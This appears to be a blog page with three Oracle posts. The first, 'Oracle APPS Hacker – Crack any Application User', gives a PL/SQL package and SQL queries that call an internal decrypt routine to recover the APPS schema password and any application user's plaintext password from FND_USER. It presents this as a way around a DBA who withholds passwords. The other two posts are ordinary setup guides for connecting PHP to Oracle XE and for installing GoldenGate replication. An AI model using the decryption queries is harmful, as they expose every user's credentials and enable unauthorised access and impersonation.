Tuesday, June 11, 2013

Oracle APPS Hacker – Crack any Application User



Oracle APPS Hacker – Crack any Application User
When you are Working in Oracle Apps Environment, It’s a very challenging job because many times you do not have the passwords to logon to some user who is complaining and DBA does not share any passwords with you and nor you have the sysadmin or Application developer responsibility. Oracle Apps Schema is the centralized schema to hold all the objects with all grants. Passwords in Oracle Apps schema are in an encrypted format. Oracle Apps use FND_WEB_SEC package to decrypt these passwords for validating against the user. The password DECRYPT function is a local function and can’t be called outside the FND_WEB_SEC package.
The Apps User’s Password and Oracle Apps Passwords are encrypted and stored in these tables…
FND_USER
FND_ORACLE_USERID



/*=====Decrypt function available in the FND_WEB_SEC=====*/

function decrypt(key in varchar2, value in varchar2) return varchar2 as language java name 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';

/*=====Decrypt function available in the FND_WEB_SEC=====*/

/* CREATE PACKAGE HACK_PASSWORD */
CREATE OR REPLACE PACKAGE HACK_PASSWORD AS FUNCTION decrypt ( KEY IN VARCHAR2 ,VALUE IN VARCHAR2 ) RETURN VARCHAR2; END HACK_PASSWORD;
/* CREATE PACKAGE  BODY OF HACK_PASSWORD */
CREATE OR REPLACE PACKAGE BODY HACK_PASSWORD AS FUNCTION decrypt ( KEY IN VARCHAR2 ,VALUE IN VARCHAR2 ) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String'; END HACK_PASSWORD;

Query to hack password for “apps” user
SELECT
(SELECT HACK_PASSWORD.decrypt (UPPER ((SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD')) FROM DUAL)),usertable.encrypted_foundation_password)
FROM DUAL) AS My_APPS_Password
FROM fnd_user usertable
WHERE
usertable.user_name LIKE UPPER
((SELECT SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),1, INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/')- 1)FROM DUAL))


Query to hack password for “Any Application User” user

SELECT usertable.user_name , (SELECT HACK_PASSWORD.decrypt (UPPER ((SELECT (SELECT HACK_PASSWORD.decrypt (UPPER ((SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD'))
FROM DUAL)), usertable.encrypted_foundation_password)
FROM DUAL) AS My_APPS_Password
FROM fnd_user usertable
WHERE
usertable.user_name LIKE UPPER ((SELECT SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD') ,1 , INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/') - 1 )
FROM DUAL)))) ,usertable.encrypted_user_password) FROM DUAL) AS encrypted_user_password FROM fnd_user usertable
WHERE usertable.user_name LIKE UPPER ('&MY_USERNAME')

Monday, June 10, 2013

Connect PHP with Oracle database 11g xe

Connect PHP with Oracle database 11g xe




Refrence Link :

http://st-curriculum.oracle.com/obe/db/11g/r2/prod/appdev/opensrclang/phphol2010_db/php_db.htm


Purpose

This tutorial shows you how to use PHP with Oracle Database 11g.

Overview

PHP is a popular web scripting language, and is often used to create database-driven web sites. This tutorial helps you get started with PHP and Oracle Database by showing how to build a web application and by giving techniques for using PHP with Oracle.

Prerequisites
  • Make sure your oracle database 11g XE is installed and running.
  • Wamp sever should be installed and working properly to execute PHP codes.
  • Download appropriate oracle instant client ( OS dependent )

First of all lets assume that i am using windows 7 64bit along with oracle database 11G XE 11.2.0.2 and wamp server 2.1. so i have already downloaded Oracle instant client x64. if you are using 32bit windows then download 32bit client otherwise it wont work.

How to configure oracle database to connect with PHP.


Step 1:
Extract all the content of Oracle instant client and copy all the .DLL files and paste into the directory like this 
D:\wamp\bin\apache\Apache2.2.17\bin 

Step 2:

Turn on the Wamp server and left click on the icon > php > PHP extension > check the php_oci8_11g only.



if you are using oracle database older then 11g like 10g then you must check on php_oci8 only.



Step 3:

Turn up the oracle database 11g XE services.



Step 4:
write a PHP code to Connect oracle with database 11g XE , and save the code like testoracle.php extension in www directory of wamp server. Below is the sample
<?php $conn = oci_connect('hr', 'hr', '//localhost/xe'); if (!$conn) {
   $m = oci_error();
   echo $m['message'], "\n";
   exit;
} else {
   print "Connected to Oracle!";
} oci_close($conn); ?>

 
Step 5:
Execute the code the simple typing the localhost/testoracle.php

Steps By Step Install Oracle Goldengate on Windows 7



Steps By Step Install Oracle Goldengate on Windows 7

Oracle Goldengate:


Real-Time Data Integration and Heterogeneous Database Replication
Low-impact, real-time change data capture, distribution, and delivery for transactional data across heterogeneous systems for continuous availability, zero downtime migration, and business intelligence.
 

Steps to Install GoldenGate 11g on windows 7.

Pre-Requisites:   
   
1. Oracle

Install the Oracle software on two Machines. In this blog Oracle 11g-R1 is used for test purposes.

2.      Make DataBase archivelog mode (required on primary DB only)

SQL> shutdown immediate;

To enable the database in archive log mode following parameters must be set in init.ora file of instance
log_archive_dest_1=’location=C:\app\home1\flash_recovery_area\orcl\ARCHIVELOG’

log_archive_dest_state_1=enable

SQL> startup mount;
SQL> alter database archivelog;
 Database altered
SQL> alter database open;
 Database altered


Installation:

Download Oracle goldengate
Oracle GoldenGate v11.1.1.1.0 for Oracle 11g 64 bit on Windows

GoldenGate FileName is ggs_Windows_x64_ora11g_64bit.zip
extract it to folder ggs_Windows_x64_ora11g_64bit
goto extrected folder \ggs_Windows_x64_ora11g_64bit   and double click on ggcsi

Following window will appear-GoldenGate



Now create GoldenGate SubDirs with create subdirs command
GGSCI (home1-PC) 2> create subdirs
Manually create discard folder in \ggs_Windows_x64_ora11g_64bit 

Oracle2

Repeat all these steps on the second Machine

Enable supplemental logging (required on primary DB)
SQL> alter database add supplemental log data; 


Execute following commands as sysdba:


SQL>create user ggate identified by ggate default tablespace users temporary tablespace temp;
 
SQL> grant connect,resource,unlimited tablespace to ggate;

SQL> grant execute on utl_file to ggate;

SQL> @ Folder Path :\ggs_Windows_x64_ora11g_64bit/marker_setup.sql 

SQL> @ Folder Path :\ggs_Windows_x64_ora11g_64bit/ddl_setup.sql 

SQL> @ Folder Path :\ggs_Windows_x64_ora11g_64bit/role_setup.sql

SQL> grant GGS_GGSUSER_ROLE to ggate;

SQL> @ Folder Path :\ggs_Windows_x64_ora11g_64bit/ddl_enable.sql

SQL> create user sender identified by sender1 default tablespace users temporary tablespace temp;

SQL> grant connect,resource,unlimited tablespace to sender; 

Most important grant on Database dictionary views otherwise it will keep on Crashing

SQL>grant select any dictionary to sender;


Oracle2


SQL> create user receiver identified by receiver1 default tablespace users temporary tablespace temp;

SQL> grant connect,resource,unlimited tablespace to receiver;

SQL>grant select any dictionary to receiver

   

PC-1 : Goldengate Setup

GGSCI (home1-PC) 1> info all

Program Status Group Lag Time Since Chkpt

MANAGER STOPPED

GGSCI (home1-PC) 2> edit params mgr

in the text editor type 7809

GGSCI (home1-PC) 3> start manager

Manager started.


GGSCI (home1-PC) 4> dblogin userid ggate 
Password:


Successfully logged into database.
GGSCI (home1-PC) 5> add extract ext1, tranlog, begin now
EXTRACT added.
GGSCI (home1-PC) 6> add exttrail C:\ggs_Windows_x64_ora11g_64bit\dirdat\lt, extract ext1
EXTRACT added.

GGSCI (home1-PC) 14> edit params ext1

Following IP-ADDER  for your second machine

---------------extract group---------------

extract ext1

---------------connection to database---------------

userid GGATE, password ggate

---------------hostname and port for trail---------------

rmthost 192.168.4.xx, mgrport 7809

---------------path and name for trai l---------------

rmttrail folder path:\ggs_Windows_x64_ora11g_64bit\dirdat\lt

---------------DDL support---------------

ddl include mapped objname sender.*;

---------------DML support---------------

table sender.*;


PC-2 : Goldengate Setup

start ggsci

Oracle GoldenGate Command Interpreter for Oracle

Version 11.1.1.1 OGGCORE_11.1.1_PLATFORMS_110421.2040


GGSCI (home1-PC) 1> edit params ./GLOBAL

---------------Add following lines---------------

GGSCHEMA ggate
CHECKPOINTTABLE ggate.checkpoint
dblogin userid ggate
Password:
Successfully logged into database.

GGSCI (home-PC) 11> add checkpointtable ggate.

checkpoint Successfully created checkpoint table GGATE.CHECKPOINT.

----------------Create replica group----------------------

GGSCI (home-PC) 12> add replicat rep1, exttrail  Folder Path :\ggs_Windows_x64_ora11g_64bit\dirdat\lt,checkpointtable ggate.checkpoint
REPLICAT added.

----------------Create parameter file for replica----------------

GGSCI (home-PC) 13> edit params rep1

----------------Replica group----------------

replicat rep1

----------------source and target definitions----------------

ASSUMETARGETDEFS

----------------target database login----------------

userid receiver, password receiver1

----------------file for dicarded transaction----------------

discardfile Folder Path :\ggs_Windows_x64_ora11g_64bit\discard\rep1_discard.txt, append, megabytes 10

----------------ddl support----------------

DDL INCLUDE ALL

----------------Specify table mapping----------------

map sender.*, target receiver.*;


PC-1 : Goldengate Setup

GGSCI (home1-PC) 14> start extract ext1

GGSCI (home1-PC) 15> info all
Program             Status             Group         Lag              Time Since Chkpt

MANAGER      RUNNING

EXTRACT        RUNNING      EXT1       00:00:00        10:21:40


PC-2 : Goldengate Setup

GGSCI (home-PC) 16> start replicat rep1

GGSCI (home-PC) 17> info all

Program           Status               Group         Lag              Time Since Chkpt
MANAGER    RUNNING
REPLICAT     RUNNING       REP1          00:00:00      11:23:20